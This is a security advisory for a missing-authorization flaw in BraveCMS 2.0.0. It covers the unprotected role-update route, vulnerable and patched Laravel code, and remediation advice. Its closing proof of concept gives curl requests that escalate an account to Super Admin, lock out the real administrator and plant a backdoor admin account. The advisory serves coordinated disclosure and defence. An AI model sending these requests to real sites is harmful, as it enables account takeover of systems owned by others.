Back to advisories
CVE-2026-35182 GHSA-g58h-mvjw-f4hv High CVSS 8.8

Missing Authorization Privilege Escalation

BraveCMS 2.0.0 ships with a missing authorization check on the user-role update endpoint, allowing any authenticated low-privileged user to promote their own account to Super Admin by sending a single crafted POST request.

Affected: BraveCMS 2.0 Vendor: BraveCMS Discovered: Reported: Apr 2, 2026 Patched: Apr 2, 2026 Reporter: Paraschivoiu Alexandru
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Details

BraveCMS's role assignment endpoint is missing the middleware that restricts it to authorized users. The POST route for /rights/update-role/{id} is registered in routes/web.php without the checkUserPermissions:assign-user-roles middleware that protects every equivalent privileged action. Any authenticated user, including one with the lowest possible role, can send a crafted request to promote themselves or any other account to Super Admin without any additional prerequisites.


Summary

Field Value
CVE ID CVE-2026-35182
Advisory GHSA-g58h-mvjw-f4hv
Severity High
CWE CWE-862 (Missing Authorization)
Package BraveCMS (PHP)
Affected 2.0.0
Patched 2.0.6
Vulnerability Missing middleware on role assignment route
Impact Horizontal and vertical privilege escalation to Super Admin

BraveCMS uses a middleware named checkUserPermissions to gate privileged dashboard actions behind specific permission strings. The route responsible for updating a user's role, POST /dashboard/users/rights/update-role/{id}, was registered without this middleware. The controller method behind it accepts a role_id from the POST body and writes it directly to the target user record. Because nothing in the request lifecycle verifies that the caller holds the assign-user-roles permission, any authenticated user can invoke it freely.


How it works

The vulnerable route definition in routes/web.php is missing the permission middleware that every equivalent sensitive route carries:

// routes/web.php (vulnerable)
// All other privileged routes carry ->middleware('checkUserPermissions:some-permission')
// This one does not:
Route::post('/rights/update-role/{id}', [UserRightsController::class, 'update_role'])
    ->name('update-role');
    // checkUserPermissions:assign-user-roles is absent

The controller method processes the request unconditionally:

// UserRightsController.php
public function update_role(Request $request, $id)
{
    $user = User::findOrFail($id);

    // No authorization check: role_id comes directly from POST body
    $user->role_id = $request->input('role_id');
    $user->save();

    return redirect()->back()->with('success', 'Role updated.');
}

The role ID values map to fixed privilege levels in the application. Role ID 4 corresponds to Super Admin, which carries unrestricted access to every dashboard feature including user management, plugin installation, content modification, and system settings.


Root Cause

A single missing middleware declaration on one route. The checkUserPermissions middleware is correctly applied to every other sensitive route in the application. The role assignment route was either added after the security review that covered the rest of the routes, or the middleware was accidentally omitted during a refactor. Because Laravel route definitions are applied independently per route, omitting the middleware from one entry silently opens it to all authenticated users regardless of their role.


Prerequisites

  • A valid BraveCMS account with any role, including the lowest privilege level (role_id 1).
  • Knowledge of the role update endpoint URL, which follows the standard dashboard URL pattern and is discoverable by browsing the application or reading the source.
  • No victim interaction is required. The attacker promotes their own account and no administrator needs to take any action.

Fix

Add the missing middleware to the route definition in routes/web.php:

// routes/web.php (fixed)
Route::post('/rights/update-role/{id}', [UserRightsController::class, 'update_role'])
    ->name('update-role')
    ->middleware('checkUserPermissions:assign-user-roles');

As an additional layer of defence, the controller itself should also validate that the caller holds the required permission, following the defence-in-depth principle that authorization should not rely solely on the routing layer:

// UserRightsController.php (hardened)
public function update_role(Request $request, $id)
{
    // Explicit authorization check as a second layer
    if (!auth()->user()->hasPermission('assign-user-roles')) {
        abort(403, 'Unauthorized');
    }

    $user = User::findOrFail($id);

    // Validate that role_id is a known, valid role
    $validRoles = Role::pluck('id')->toArray();
    $request->validate(['role_id' => 'required|in:' . implode(',', $validRoles)]);

    $user->role_id = $request->input('role_id');
    $user->save();

    return redirect()->back()->with('success', 'Role updated.');
}

The validation of role_id against known role IDs also prevents an attacker from assigning a non-existent or reserved role value to cause unexpected application behavior.


Key Takeaways

  • Middleware-based authorization must be applied consistently to every route that touches a privileged action. A single unprotected route is enough to bypass the entire permission model regardless of how well every other route is protected.
  • Authorization should be enforced at both the routing layer and the controller layer. If the middleware is accidentally removed or bypassed, a controller-level check acts as a second barrier. Relying on routing alone creates a single point of failure.
  • Low-privilege accounts are a meaningful starting point for privilege escalation. The attacker only needs the ability to send authenticated HTTP requests, which any registered user has. The missing check turns every user account into a potential Super Admin.
  • Post-exploitation persistence makes delayed patching dangerous. Once an attacker promotes their account and creates a backdoor, patching the route does not revoke the elevated access already granted. Any incident response must include an audit of all user role assignments, not just a code fix.

Proof of Concept

Proof of Concept Sanitized for safety
Note: This proof of concept is published for educational and defensive purposes after coordinated disclosure. Do not use it against systems you do not own or have explicit permission to test.

Using any HTTP client or browser developer tools, send a POST request to the role update endpoint. Use your own user ID as the target and set role_id to 4 (Super Admin):

curl -s -X POST \
  'https://target.com/dashboard/users/rights/update-role/1' \
  -b 'laravel_session=<attacker_session_cookie>' \
  -H 'X-CSRF-TOKEN: <csrf_token>' \
  -d 'role_id=4'

The server responds with a redirect and a success message. No error or permission denied response is returned.

Reload the dashboard. The attacker's account now holds the same privileges as the original site administrator.

With Super Admin access the attacker can:

# Demote or lock out the legitimate administrator
curl -s -X POST \
  'https://target.com/dashboard/users/rights/update-role/<admin_id>' \
  -b 'laravel_session=<attacker_session>' \
  -H 'X-CSRF-TOKEN: <csrf_token>' \
  -d 'role_id=1'

# Create a new backdoor Super Admin account
curl -s -X POST \
  'https://target.com/dashboard/users/store' \
  -b 'laravel_session=<attacker_session>' \
  -d 'name=backdoor&[email protected]&password=P@ss123&role_id=4'

At this point the attacker has full, persistent control of the CMS regardless of whether the original vulnerability is patched on the running instance.

Start securing your codebase today

Connect your repositories and let AI agents handle continuous scanning, research, and triage.

Have questions? Get in touch →